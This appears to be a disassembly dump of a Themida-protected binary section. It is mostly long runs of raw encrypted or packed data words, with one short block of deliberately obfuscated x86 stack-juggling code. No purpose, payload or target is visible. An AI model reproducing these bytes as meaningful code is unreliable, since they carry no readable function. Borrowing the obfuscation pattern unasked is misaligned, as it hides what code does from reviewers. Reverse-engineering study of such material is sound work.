		dd 37899F05h, 4588E5Eh,	47D20000h, 9AE2508Bh, 689AD823h
		dd 917D1DD8h, 152DEAB9h, 0EC800AAh, 869B1E33h, 65E4E2E5h
		dd 2A18EE87h, 0F6105B52h, 493AF7D2h, 0C117665Dh, 0ECB87266h
		dd 8C3E98E5h, 99FC97D8h, 93E2D1B5h, 0E8DB843Eh,	0E7EE2A9Bh
		dd 5C888734h, 8E3C2199h, 0BE2D84D0h, 56AFC22Dh,	0F6A628C7h
		dd 41FB50B5h, 0A3509F14h, 28C75694h, 0B2C532C1h, 0A328C756h
		dd 7FE9FF3h, 0DA9C1AD4h, 1EC4F110h, 6CD059Bh, 0AEA10000h
		dd 256A7FCh, 0B3AA1B48h, 6B615401h, 0C919ECB9h,	2F2420Fh
		dd 0C4914B7Fh, 7926E0F1h, 0F3A0528Ch, 4A17D102h, 0CD6C176Ah
		dd 881DDE3Ch, 75C3AEEh,	453A5DAAh, 6B1B17C8h, 14499837h
		dd 0D4772D62h, 0B000000h, 80631948h, 2B9A40DCh,	0B43AA072h
		dd 792BB883h, 7F000000h, 91C21948h, 0A4FBB8D7h,	50E01CEh
		dd 0FDEB2DEh, 0C8C5D264h, 0D5F07D17h, 93EE9C23h, 39C11F34h
		dd 0BAD98D9Bh, 0EFBE786Bh, 13A58A14h, 0B30B5172h, 0DD390C9Eh
		dd 0C5A0C195h, 0AA29E3F8h, 33C01B47h, 17C87E24h, 0A2114531h
		dd 0D88DB755h, 796A171Dh, 0E6969EBFh, 19D48BE7h, 9383E349h
		dd 16D2BEh, 946F0000h, 1A2F4134h, 62B72560h, 0B771624Fh
		dd 0E013B4F6h, 97000000h, 8B621A48h, 0D879DEE0h, 7E5911Dh
		dd 0DC00561Bh, 0E4C45C5Fh, 0B8000005h, 45B8ED9Fh, 0B90C5913h
		dd 509DF2A4h, 0A00D42F4h, 0D1A3F0AAh, 722C1EE1h, 0BF79D01Dh
		dd 792B2392h, 0D08AD92Ch, 25D22183h, 1DDE3E12h,	48F5A543h
		dd 0DC806319h, 0AF617C11h, 0D690C110h, 0DA930CB7h, 0E895E4CCh
		dd 70733CEEh, 0B777DDB5h, 4C66B883h, 0BA000000h, 80631948h
		dd 0BC6B13DCh, 72017221h, 0C8457205h, 0C033E317h, 17C844B1h
		dd 2BB7F8A4h, 0B883B7A5h, 2694h, 1948EC00h, 452433C0h
		dd 453117C8h, 0E2A9611h, 0EB9C5504h, 17C84D4Fh,	0AAF6A89Dh
		dd 83BBAD32h, 0FEBE9EB8h, 48E2FFFFh, 0DC806319h, 8A239278h
		dd 0BADD2AD9h, 9B17C844h, 0BA20C2EBh, 0ABB883B7h, 232h
		dd 3D5CA758h, 1817C851h, 5C67436Ch, 3B5EA906h, 1A17C845h
		dd 3AC7366Ah, 0A62D6E28h, 444BFD57h
		db 0C5h
byte_5AAEED	db 56h,	9Bh, 0EAh	; DATA XREF: Themida_:0054D220o
		dd 0A4113EF8h, 45FF53AEh, 0D621903Eh, 17C844C3h, 0FAEE292h
		dd 5FC80AEh, 45660976h,	0FFEF17C8h, 0BBE49EB2h,	5565BB48h
		dd 92821DD8h, 964F40EBh, 0C231EBDFh, 3B641E33h,	8D479B6Ah
		dd 0DA94C736h, 0BB7566B3h, 713A6614h, 357E1562h, 0F64511B8h
		dd 0F49B4D87h, 0B3657946h, 0A63D5E0Ch, 5CA7580Bh, 11B8333Dh
		dd 0C2436C18h, 2CE7D690h, 1EEA575Dh, 4BE0DB4h, 65560F50h
		dd 0A32C22AAh, 0B4FDAC51h, 48470151h, 0A2548AF7h, 4146F1Bh
		dd 88499105h, 113DB4FDh, 37E9966Dh, 17C7C9h, 8F6C3F14h
		dd 54BD3C58h, 129FC0BFh, 1E69582Ch, 11B806ACh, 0AC667A0Bh
		dd 0EB8ED9F8h, 0E00597CBh, 0AEBBA661h, 0C4946844h, 0A46D089Bh
		dd 8CF7C6BEh, 0BA7A21Eh, 0D2CD728h, 48FF8768h, 7521135Ch
		dd 0EF82ED7Eh, 66FF8767h, 3DB0F5B6h, 0E02D540Eh, 7D6431EBh
		dd 0A956ADD1h, 5977D0Fh, 0EB469AE7h, 49123EF8h,	47943BEBh
		dd 0F9775224h, 0BB3754ABh, 42F40CBEh, 0CBF2AC9Fh, 0B92A731Fh
		dd 14BC2200h, 33ADD6D4h, 0F5000000h, 8CC11A48h,	5B07B3DAh
		dd 46091764h, 0DD6E1DD8h, 0DE8C33EDh, 0ADC00BB2h, 2211B844h
		dd 0BA20F2ABh, 0D2BE93B7h, 191BBCB5h, 3F6031CCh, 0B09Dh
		dd 75CE500h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh, 0CA347794h
		dd 1A2CBA89h, 0C93488A7h, 4480CD17h, 133FEB92h,	73A5123Fh
		dd 3517C938h, 0C4376C26h, 2EA9C833h, 0C0AC17C9h, 582C129Fh
		dd 0FC11C69h, 0C5D41F70h, 9017C92Eh, 68D5B0E4h,	414275F6h
		dd 0F582812Ah, 1DDB7FE0h, 0BD2E8571h, 14AEC12Eh, 0F7A711B6h
		dd 41FB4FB6h, 0F7B1A114h, 2522B01h, 0BC5457DCh,	337h, 6D22D40Bh
		dd 0C18E4880h, 7A27D9F4h, 0F29F518Bh, 4015CF03h, 518104ECh
		dd 0E6FBCA97h, 5086772Ch, 0CF04F19Eh, 0D5C4015h, 0DE40CF62h
		dd 40E8861Dh, 174C065Ch, 0A6FBB5A6h, 4D075CFCh,	2AE4F746h
		dd 75C2D75h, 453A5DAAh,	0B2AC17C8h, 4FD58100h, 44E06FFCh
		dd 897517C8h, 0CB3A89DDh, 8B6DD97h, 8CDB2C67h, 0C84550DFh
		dd 58190517h, 0EFA45E6Dh, 714044EAh, 0D85AFC06h, 69186B1Dh
		dd 60EFC274h, 0F511B830h, 0E9365D09h, 11B83042h, 0FA85F68Dh
		dd 11B83057h, 564D0EFEh, 0C861C79Bh, 5A50BE93h,	98000000h
		dd 8B621A48h, 85378DDCh, 0B80F50FEh, 1DD8452Ah,	87398DDCh
		dd 23115A08h, 0DCED7C73h, 0AEEF9B22h, 43B3DA25h, 352B11B8h
		dd 0ABD284DAh, 0DD2C53FFh, 883A93EEh, 8A095D09h, 1B2BC6DDh
		dd 0B58D2897h, 0BE93B92Fh, 0E9A3B845h, 3AC53CEAh, 11B83817h
		dd 8F0D4E3Eh, 0C3h, 0B6AB5AD3h,	152B3FCh, 0E9F94847h, 0C42FC02Fh
		dd 17C844B5h, 28ABF4A0h, 172F8AD9h, 43923165h, 1A675610h
		dd 0C2700FC9h, 8526D8EDh, 49A1CF20h, 780517C8h,	7723AA5Ch
		dd 0C27CCF36h, 712B208Dh, 9843EF52h, 0C8404CEBh, 491D0917h
		dd 53930D7Ah, 68141DD8h, 0F488B63Bh, 0E55772FDh, 0FEEE17CAh
		dd 561042AFh, 0BE49BA09h, 0BA5739Bh, 24A1CABAh,	0B676742Eh
		dd 0E2E212F3h, 1BD49DFh, 3E910000h, 0F2E6D78Ch,	439A6B38h
		dd 0DBF1C491h, 59897C29h, 0B282F29Fh, 7421DBEFh, 0C9965081h
		dd 6330E2FCh, 0DA874192h, 5DFC87DAh, 0F81DDE42h, 0AB5AAA5Eh
		dd 50025BB6h, 0B2D18531h, 786A5B04h, 2F2491BEh,	48722075h
		dd 0DE8B621Ah, 864F32ECh, 96AD1710h, 58A32041h,	1DD8B8CAh
		dd 71C2C1ADh, 0B7E27502h, 837311B8h, 0B846EDDAh, 0FA8911B8h
		dd 9077371Dh, 0E586DCE6h, 0C94F23BEh, 0B8BE937Fh, 0B7h
		dd 4D075C10h, 29E3F746h, 4A1B5DAAh, 0DE8B17C8h,	0E08E35E7h
		dd 5B1546BFh, 0E48B506h, 0E889355Ch, 8D34EEDDh,	0DD6F062Ch
		dd 4B610E3h, 40848D41h,	5004500Ah, 0B0AC1661h, 0BFB1DD7h
		dd 0C0186556h, 263A8706h, 7A77386Ch, 0B641B0D4h, 17CA3EBCh
		dd 0D7143D5Ah, 0EB657B71h, 0EBC2B2C2h, 0BD924C7Eh, 914B7FEEh
		dd 2BE5F5D0h, 1370F3CDh, 9C3437E2h, 0C7h, 0BD92449Bh, 711ED8F0h
		dd 0CA974984h, 622FE1FBh, 0D0853F93h, 0C111945Ch, 766B5A07h
		dd 0C016E7BCh, 5F74410Eh, 5DECF0A5h, 0DE437F12h, 9078D61Dh
		dd 3B5EA95Ah, 1A17C845h, 8EC4416Ah, 1D2E7FD4h, 5C642E63h
		dd 0F7464D07h, 74752AE4h, 0B847B6CEh, 0F06297DBh, 90DBCF2Eh
		dd 17C85801h, 5FCA854h,	0C857D77Ah, 0CD8E7E17h,	0DE4C59FAh
		dd 6D14001Dh, 0B17ACF1Eh, 87BBD95Ah, 0FAA3EF86h, 4E7DD80Bh
		dd 2293C094h, 0F9887731h, 57A62DE7h, 97434A04h,	0A6F1A2CBh
		dd 846E4F29h, 0F6AF4AB9h, 87762BE5h, 0A6F39A54h, 2AD5FCAEh
		dd 164500B9h, 0A5B6075Ch, 3561134Ah, 0BE192FBEh, 0AED587h
		dd 0F0880B54h, 3, 5CBFEBB8h, 0E3325103h, 4A9736F0h, 0E5B6214h
		dd 338201BBh, 0F5E651Fh, 338201BBh, 19686719h, 1E6B12C4h
		dd 9451702Ah, 2B3C68h, 241C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, 3AB10C31h
		mov	edx, 40C700B3h
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	247Dh
		mov	[esp], edx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		dd 0CBA9C0B3h, 0D20702AFh, 0A1418EDEh, 15FFADB8h, 0FFC50306h
		dd 1FE288E0h, 8A3AEB5Fh, 2A93893Dh, 60FCC827h, 36E17003h
		dd 897EF726h, 6E84Ch, 0F5670000h, 0EDC9EEBDh, 800Fh, 8B580000h
		dd 0DEC081F0h, 0BB000067h, 6EA5FB7Bh, 0F02838BFh, 0EBF7815Bh
		dd 8B5BF031h, 0B70F5610h, 0C28159C9h, 6F031A86h, 4DF281F9h
		dd 0B969EC46h, 57CBD31Ch, 0D6D6EA81h, 8A0F6058h, 5, 81F38166h
		dd 0B9B352BEh, 0B70F008Fh, 4E883DFh, 1F8FBB66h,	0D850F4Fh
		dd 0F000000h, 29E9F1BFh, 1A000000h, 13922BC8h, 8E9h, 189EED00h
		dd 0F259960Bh, 0FFA1E944h, 0EA32FFFFh, 61003552h, 0AF766A57h
		dd 94729E47h, 414AED47h, 98E9h,	0F7145500h, 9456h, 500h
		dd 100h, 0A2800h, 200h,	20h dup(0)
		dd 0B5CE900h, 0FE680000h, 0E9061602h, 0FFFA7EDCh, 16041168h
		dd 7ED2E906h, 0DC68FFFAh, 0E9061604h, 0FFFA7EC8h, 16056968h
		dd 7EBEE906h, 0E468FFFAh, 0E9061606h, 0FFFA7EB4h, 16076468h
		dd 7EAAE906h, 4368FFFAh, 0E906160Ah, 0FFFA7EA0h, 160B7468h
		dd 7E96E906h, 0AB5BFFFAh, 0BF65F468h, 0A045D488h, 0BF64F367h
		dd 9D4FC682h, 80FCEA5Eh, 0EB5F9E52h, 0C478B96Ch, 0E2569135h
		dd 0C377AC53h, 8D35F4C8h, 696BDA7Dh, 7932C08Ch,	0DE5044h
		dd 0CC7CB909h, 89C7286Dh, 6A05F68Ch, 1AA1B6B2h,	23803C71h
		dd 76354794h, 67FC8155h, 6FC1B5B1h, 7289A91h, 50CC943Ch
		dd 736907Bh, 9ED5943Ch,	0AF0FE207h, 0BC7F397Ah,	57F9CE03h
		dd 4Ah,	1EBD5CB5h, 7C745D4Ch, 969267FCh, 27C990EAh, 0B35F984Dh
		dd 0CDB693AFh, 943C7C71h, 3CE81DC6h, 0F8ACEB9Dh, 0CC0BBD7Ch
		dd 67FEA5D8h, 0AED0B059h, 3C7C47FBh, 4C39F94h, 0F1752160h
		dd 4DA847DCh, 397B3584h, 0AA64h, 7932A600h, 97395044h
		dd 7D2AC58h, 8B482566h,	0D4F39FD4h, 8342F62Bh, 6DCC00B4h
		dd 2FABE087h, 0D6CAFFA8h, 0D076CAE9h, 371B52FAh, 0F10BE74Bh
		dd 3F1293Ah, 0DD51CD98h, 906A7188h, 0FEC23C9h, 599142E9h
		dd 3759E15h, 1149BA08h,	0E2FE5A9Eh, 609F5108h, 0E1BB6DECh
		dd 2400F42Bh, 4D6A9B40h, 0FAAA4035h, 95AE9h, 4F923400h
		dd 6DA45CDBh, 8AC36AF1h, 67A447CEh, 81C064F3h, 31A3DFCDh
		dd 0D8C407Fh, 189F1B5Ch, 0F4833772h, 0A7A2164Bh, 7E6CD6D5h
		dd 2B886BDAh, 3F7E32A1h, 0B820402Dh, 0D5C18F33h, 10B73EF8h
		dd 5CC95FDBh, 5D4C1EBDh, 67FC7C74h, 28168D92h, 13744941h
		dd 0AA14432Fh, 49943C90h, 935E9B3Ah, 73397A49h,	0F3h, 0DB1ACE8Dh
		dd 826EA35Ch, 3203C99Eh, 0DE504479h, 836FA45Bh,	5F11CA9Fh
		dd 3FFA7420h, 917A4F8Ch, 6DCC00BAh, 35A9DE85h, 5BBFFDA6h
		dd 0D6A40073h, 0B79DA0B7h, 618500D7h, 96956B85h, 9233372Ch
		dd 8F8F6CC8h, 906A1E9Dh, 70F4A0D9h, 0A7C4A054h,	0CF81BF56h
		dd 9F8AE490h, 92333723h, 678B67C3h, 0E71EC695h,	263BEE12h
		dd 9E980341h, 0DA90681Bh, 536FF39Fh, 0D6A88476h, 46236003h
		dd 37A43390h, 8CDC6625h, 3C389E15h, 0C0F59722h,	10F479C9h
		dd 0A5C19D9Eh, 0C9FEB229h, 10F460E2h, 0CCA8849Eh, 34F0DC1Fh
		dd 73643040h, 847h, 7A2E7121h, 9A0E45FBh, 0B12D661Bh, 9448852Ah
		dd 0A8246305h, 701446C2h, 4BFE7D31h, 23C74E0Ah,	3EE574E8h
		dd 665A5509h, 0DA781FA3h, 32FAF76Bh, 34367E32h,	0EB7D2B8Fh
		dd 7EFFF6E3h, 47401958h, 7F28AF2Bh, 32F88E4Ah, 39504479h
		dd 84E15D92h, 95946675h, 67F67D1Bh, 16A5B7B3h, 0C584386Dh
		dd 942583EDh, 0EE6A718Ch, 5D7C7D4Ah, 59926C7Eh,	0B88AA6C9h
		dd 0F09BB00Ah, 9E156573h, 6B1C9793h, 62DC5212h,	3913C84Fh
		dd 0EC33B152h, 2DD95507h, 0C47E2D53h, 2037CC71h, 3FD62744h
		dd 715FE3A6h, 20B737CCh, 0DE422E6Bh, 1D0CDE02h,	3DFB8C3Fh
		dd 0CA916BC7h, 0EE12E726h, 0CB7FB46Bh, 0F95E934Ch, 0E004F0BCh
		dd 7C970014h, 56000007h, 3EBD71B4h, 5CDB4F86h, 69F06CA5h
		dd 46D589C6h, 1E763A2h,	76B55785h, 519233C2h, 6DA85EDDh
		dd 8CC16AF1h, 28E3DDD0h, 6BDA789Ah, 0D7971D7Ah,	7C4002A9h
		dd 0C8A46DCCh, 0FC352B3h, 98C0459Bh, 6105C449h,	3B304A26h
		dd 6302F4h, 6D93682Fh, 0E623C893h, 6A21363Ah, 67F634EEh
		dd 0A9304A26h, 6DD5D405h, 89942634h, 59DDC9ADh,	0A9EEAE74h
		dd 12E7317Dh, 7EB56BEEh, 5E954BCAh, 376C13B2h, 23A5F92h
		dd 0D2C3D34Ah, 6EFh, 72E629C9h,	52063DE3h, 69E51EC3h, 4C003DF2h
		dd 60DC1BCDh, 38EC1E6Ah, 13B645F9h, 2BDF56D2h, 6BD3CF0h
		dd 8E725DD1h, 0DA79279Bh, 5AE2BF6Bh, 875F04D7h,	0AFCCA8E3h
		dd 3A14C74Eh, 0B9EE9524h, 7D6DE7A4h, 4A8367F6h,	0D486F0D5h
		dd 0C3B7949Ah, 1DC69567h, 57D516E8h, 77350060h,	43A01633h
		dd 924923B8h, 0D5F4A0DDh, 0FBD0F433h, 0EC8826E5h, 9F849425h
		dd 0E48555CEh, 0A85C7873h, 25B84401h, 7B1AA994h, 8166337Eh
		dd 0C2AAA339h, 24079128h, 63E48C61h, 26000000h,	2ED496D7h
		dd 23C3A68Bh, 4C21457Eh, 0A3BD1EB9h, 0CC7246E8h, 7559BE6Dh
		dd 0BE47E656h, 22493D19h, 6DCC8CA4h, 31952C47h,	8CE65C4Fh
		dd 92376DCCh, 0D9C9AD59h, 8C1EA467h, 7AF66DCCh,	0F12ADF56h
		dd 39CA23DCh, 113A336Ah, 0F5CF428Ch, 0F2567320h, 0Eh, 5F984D0Ch
		dd 129AAFB3h, 1D840h, 0BA158C00h, 213BA037h, 7CF64C3Fh
		dd 0A2476DCCh, 0C9B9BD69h, 0C168906Dh, 67FC2020h, 40E76AC6h
		dd 448D7728h, 1C16896h,	0E5278951h, 0EB47789h, 0E6278951h
		dd 9106D8Ah, 0F011F8D2h, 962DB934h, 2503A7A4h, 0A0A2C458h
		dd 0F98049F9h, 95B1AD29h, 0D60514E1h, 7D270504h, 83DF23CEh
		dd 0F83CF269h, 3AAABB5h, 54795D8Fh, 1368D4EBh, 647C510Ah
		dd 45F92ED5h, 73D80DB6h, 8DCAECCAh, 7439AA7Ah, 4E000005h
		dd 56E5599Ch, 34C377AEh, 61D8548Dh, 3EBD71AEh, 998F4B8Ah
		dd 0E4DFF6Dh, 296A1B9Ah, 458026B5h, 24591289h, 0D0BBC5A8h
		dd 6BDA7A72h, 328F1592h, 0AF2A4479h, 0FDA9BEFDh, 10EAF108h
		dd 0FC0C0C19h, 7013AA67h, 0B8A30633h, 0B27AAEBCh, 1E401A8Eh
		dd 7FF94940h, 411D9423h, 237FE85Ah, 833FEA94h, 6394237Fh
		dd 66251707h, 94237FDCh, 43183C38h, 2D9ACF78h, 4A077B06h
		dd 0F4697A2Ah, 0CE000004h, 0D665D91Ch, 0B443F72Eh, 0E158D40Dh
		dd 0BE3DF12Eh, 190FCB0Ah, 8ECD7FEDh, 0A9EA9B1Ah, 0C500A635h
		dd 0A4D99209h, 503B4528h, 6BDA7BF2h, 320F9512h,	39504479h
		dd 5D835D92h, 0CC7C14AEh, 5774F06Dh, 32D1F2A7h,	0A3174CF3h
		dd 0F4E02B9h, 35EAFF63h, 336B29DCh, 2ABCh, 4D70E00h, 0BA4B2061h
		dd 0FBAEC01Bh, 67FC2B76h, 0B9E09490h, 9423AD0Dh, 9A3CD3F0h
		dd 192E6D1Fh, 7B648B66h, 536B39h, 0D7E10000h, 6E225F04h
		dd 7188D5F2h, 906E906Ah, 0CC7C2999h, 2548CD6Dh,	6DE3AE0h
		dd 968D6A86h, 67FCA0ADh, 4813ED49h, 36F569A0h, 943C6789h
		dd 0CFBAE59Eh, 943C6773h, 0C45FC93h, 1C381C18h,	0A17319A0h
		dd 63BFB3ECh, 2299937Fh, 0AA173469h, 41Fh, 15BD5C22h, 4F3A862Ch
		dd 6DCC7BF3h, 56321713h, 95CE73BDh, 0A5BB95B1h,	0CCA15CE6h
		dd 6C21B86Dh, 263A0F33h, 0FCDBC663h, 30E44067h,	0D969203Eh
		dd 76943CAFh, 7FDB93D2h, 53AF16Ah, 37025E11h, 9F845992h
		dd 2FAC4B00h, 0D5CD6E1Dh, 3D399E0Ch, 1C51FA81h,	9E431668h
		dd 98B5B165h, 0DF92AE45h, 1A8C29Eh, 941CD408h, 259D8CDEh
		dd 0C1801CD4h, 3958165h, 9750D170h, 7A99E662h, 0AE61FC6h
		dd 0A45039F0h, 3A368A2Ch, 63984F46h, 0F78E25AFh, 401AC158h
		dd 3C9B2049h, 0CE8AE680h, 0AB1712ECh, 4B8C7CFBh, 8A41FACFh
		dd 862AA155h, 604B3547h, 8C7CFBE2h, 55512602h, 4BEA891Ah
		dd 11EB5F94h, 0BB67A64Ah, 0FB78CAC1h, 0C09C8C7Ch, 9F36C7A4h
		dd 95B1EEA1h, 9A3BD0BBh, 32A9864Ch, 0CE523E7Fh,	0DB9209F9h
		dd 0B372EEA2h, 462AD60Dh, 0A85F762Ah, 5E157F73h, 6A7188C7h
		dd 7BB6E90h, 18B66C1Ah,	0E84C3871h, 67223C38h, 0B66C1ADBh
		dd 0F60ADF3Bh, 5C7BC633h, 8C4A0BCh, 0F1A5DA91h,	40FC31DAh
		dd 0F507D4E3h, 6C541536h, 8175F1B2h, 4C4C6CDAh,	5DF48FA2h
		dd 0EAFA5598h, 0F09BC563h, 0A24C5452h, 2FA1B6B2h, 3Ah
		dd 0A6E78A51h, 0CB6176FAh, 0E283BD5Ch, 0ABC5A1h, 67FC7CD3h
		dd 28253733h, 0B6B65EA1h, 0D5D1A6B0h, 23473886h, 9A8DB94h
		dd 7BFB21ECh, 21CA9139h, 1F3C38ECh, 0E4A9h, 0A9D72300h
		dd 53427B32h, 6DCC7CEFh, 9EDB9007h, 75526EF2h, 24D005BEh
		dd 9FDC8F4Ah, 0E15A6FF3h, 0EDDEF02Fh, 0ADB9D49Eh, 0E4A2B76Ah
		dd 1D093EE5h, 1C90C57Eh, 0CC9B5E6Dh, 0EC2AE16Dh, 69209152h
		dd 6DCCD5D9h, 0A3FCE13Dh, 219DB978h, 0C8BCF19Ah, 0C064DCFBh
		dd 758B6581h, 1C083DE6h, 83484318h, 4367FCE4h, 70E73E7h
		dd 0AD599639h, 0D8D3ADC9h, 9E0A6CE2h, 85542602h, 0B128A4E3h
		dd 261BC0FFh, 0EE403667h, 215AD36h, 3FEF0000h, 13B940FCh
		dd 34D960DCh, 13B83FFBh, 31D362D6h, 345036F2h, 67E322C6h
		dd 40FC3DF0h, 5EDA15B9h, 3FFB30D7h, 9B9704Ch, 0ED6BDA76h
		dd 7E3224F0h, 2AB18B3Fh, 0DC584C81h, 7CBB0702h,	0FF5B6DCCh
		dd 85BA71EAh, 2C96956Bh, 0C86DCC7Ch, 0F5C78F6Ch, 7D22DAF8h
		dd 0ACC1729Fh, 1EBD5C20h, 8D4C324Ch, 8DE99DDAh,	0CC7C249Eh
		dd 8764C06Dh, 0FC7CB79Ch, 0F9D34F67h, 0F19E66D4h, 30A75BBDh
		dd 79254277h, 23E89432h, 42F97794h, 0A4775489h,	0A225E80Dh
		dd 0DF05397Bh, 47000000h, 83DB96D7h, 57251184h,	0E712B982h
		dd 0CC039E24h, 0BDFEAF6Dh, 0B9B56DC9h, 35EE4A7h, 0BAB66DCCh
		dd 39EBEA96h, 0B359E0FAh, 0CFAC887Ch, 7FB188CFh, 0E18A6DCCh
		dd 0B599D2ACh, 0A687A629h, 271EF4D9h, 55FE0B39h, 5DDCBE78h
		dd 21B86CABh, 390E326Dh, 0E094C982h, 0ECE10413h, 4A19363Eh
		dd 0D36F169Ch, 336DCCBAh, 4A411B37h, 67FCC981h,	0D617E945h
		dd 9C1AF941h, 2FA7C423h, 0C69843D2h, 0AEF16C3h,	9AB4B09Eh
		dd 7A2E6D1Fh, 5D0A49FBh, 4035D1E2h, 0E4EDF6AEh,	0BE000000h
		dd 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh
		dd 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h, 802B15F8h
		dd 6BDA77C2h, 32FFC522h, 0B18B3F7Eh, 5B47862Ah,	4DF106CEh
		dd 0FAD6DA92h, 78AD56DDh, 793226C4h, 92395044h,	6DC5F254h
		dd 7D597D07h, 865564C1h, 0E237B574h, 53CF67F6h,	0D30AC279h
		dd 6176AB54h, 487D26A5h, 792FAA94h, 0F8D24E42h,	26E2B111h
		dd 4D95594h, 0A75B9037h, 0C78B0300h, 9F0025h, 7C3F6A21h
		dd 7EE28EC3h, 0C5F92B97h, 734FCBC4h, 528740B7h,	0EE9FCC9Eh
		dd 31566572h, 0C166ED0Ah, 0D8279B8Eh, 6DBFC4C5h, 0C5D804BEh
		dd 6084E0C4h, 95946A84h, 0C4C5D82Dh, 8E906DC9h,	4FD66D04h
		dd 70E76398h, 58E82B7h,	0Fh, 5B04D777h,	0E1F67A26h, 3CF26987h
		dd 3260EC01h, 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh
		dd 34533F7Eh, 26A55190h, 39504481h, 30A75B94h, 0CF554178h
		dd 61BD68h, 243C8900h, 5EF968h,	24148900h, 2A1A68h, 240C8900h
		dd 0BEBA5257h, 891E2406h, 95BA5AD7h, 29243A08h,	8B545FFAh
		dd 0C483240Ch, 4EC8104h, 89000000h, 0D6892434h,	5E087189h
		dd 592434FFh, 4C481h, 148B0000h, 0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 0FA738BE9h, 7DB84CFFh,	306160Ch, 0EEE0FFC5h
		dd 80345C71h, 73768AC3h, 36543ACAh, 0DE445D84h,	4A6636C5h
		dd 941F2C59h, 1F6A9743h, 9A278E6Ah, 0EB2362ACh,	24h, 8 dup(0)
		dd 0BDE900h
		db 2 dup(0)
word_5AC1A6	dw 0B589h		; DATA XREF: Themida_:0054DC10o
		dd 6160D12h, 2209858Bh,	858B0610h, 6101FA1h, 0D5CB58Dh
		dd 858D0616h, 61354E6h,	55C3D0FFh, 0E8h, 0ED815D00h, 6160D62h
		dd 2209BD83h, 0F010610h, 2C85h,	12B5FF00h, 8B06160Dh, 101FA185h
		dd 27363506h, 0D0FF3481h, 850F013Ch, 0Ah, 1B8h,	47E900h
		dd 0C0330000h, 40E9h, 8D1C6A00h, 160D16B5h, 0B5FF5606h
		dd 6160D12h, 1FA1858Bh,	36350610h, 0FF348127h, 0CC483D0h
		dd 0D16B58Dh, 468B0616h, 4E08314h, 0F04F883h, 784h, 0E9C03300h
		dd 5, 1B8h, 9BD8300h, 1061022h,	7850Fh,	0C35D0000h, 2E9h
		dd 8DCF5D00h, 160D3B85h, 0A5858906h, 8D061027h,	160EDB8Dh
		dd 899D8906h, 8906102Fh, 1009F58Dh, 53D88A06h, 5EF9B70Fh
		dd 231985C7h, 73440610h, 85C70000h, 61022C1h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 16C35242h
		dd 0EE97420h, 0C4000000h, 498C27D1h, 0EEA11E32h, 7663CC5h
		dd 4ADB8036h, 8A1B5FFh,	6A0610h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0BB0665C3h, 7E8F4B88h
		dd 66C03C5Fh, 25EACE81h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 82235DC3h
		dd 62B61EC1h, 0DE962h, 83CE0000h, 0FCFF4C8Eh, 0A95BF03Ah
		dd 6651B2CCh, 6AFC71B8h, 0C995FF00h, 8B061031h,	915FEBC0h
		dd 23E1B23Ch, 50801526h, 0DA82D2E3h, 69F3D338h,	2FBF9D53h
		dd 68286FF9h, 0EE888882h, 74C66E2Eh, 67F79287h,	883301ABh
		dd 8BE543D3h, 0DE7EAC52h, 6BB26E82h, 0AFE01D05h, 261C9981h
		dd 0CD3E3598h, 0CC1014AFh, 4610F6Bh, 0A8404E54h, 0E45FB6C5h
		dd 9624793h, 8029B6C7h,	0D85C824h, 8E8F5BAh, 77000000h
		dd 0D541BA71h, 8B081EFBh, 1007D18Dh, 8B525F06h,	10014595h
		dd 0C7815A06h, 5A4Ch, 0A880Fh, 89600000h, 102F09B5h, 61C78B06h
		dd 166E68h, 10E900h, 0FBB00000h, 562DD5ABh, 64756FDCh
		dd 66663D47h, 335E4919h, 100FE58Dh, 0F5078B06h,	0D06FF081h
		dd 958B49E7h, 6100755h,	9DBBC081h, 8B661B01h, 0A3C081DEh
		dd 23695129h, 100FD995h, 8B078906h, 102F059Dh, 0D6EF8106h
		dd 660A7D9Bh, 0C781DF8Bh, 0A7D9BD2h, 0F4ED98Bh,	0FFFFBC85h
		dd 0B1958BFFh, 8D06102Fh, 1610C58Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 53FFC980h
		dd 0E9D88B5Bh, 13h, 82819643h, 0EF7F0C67h, 84F0BD4Fh, 9AF3EE67h
		dd 89DEB088h, 1009F58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 83C08D18h, 0D1858B18h
		dd 906101Dh, 1020858Dh,	1985C706h, 0D4061023h, 6A00006Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0C0DFC352h, 0C185C725h, 61022h, 66000000h
		dd 5C79C781h, 0EA5B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0C9F42FC3h, 0F2D875BBh
		dd 95FF3BCDh, 6102DB9h,	66C68B60h, 86E5C081h, 0FF006A61h
		dd 1031C995h
dword_5AC530	dd 0EBC08B06h, 0F3D1F81Ah, 0CDA63D07h, 5250A9A7h, 91961333h
					; DATA XREF: Themida_:0054D4F0o
		dd 0B6CF8418h, 92D9C421h, 0E932CEE9h, 1Ah, 0F6E4FF0h, 2420000h
		dd 4 dup(0)
		dd 0E4E90000h, 6800000Bh, 61612AAh, 0FB39DBE9h,	13BF68FFh
		dd 0D1E90616h, 68FFFB39h, 616154Dh, 0FB39C7E9h,	15FC68FFh
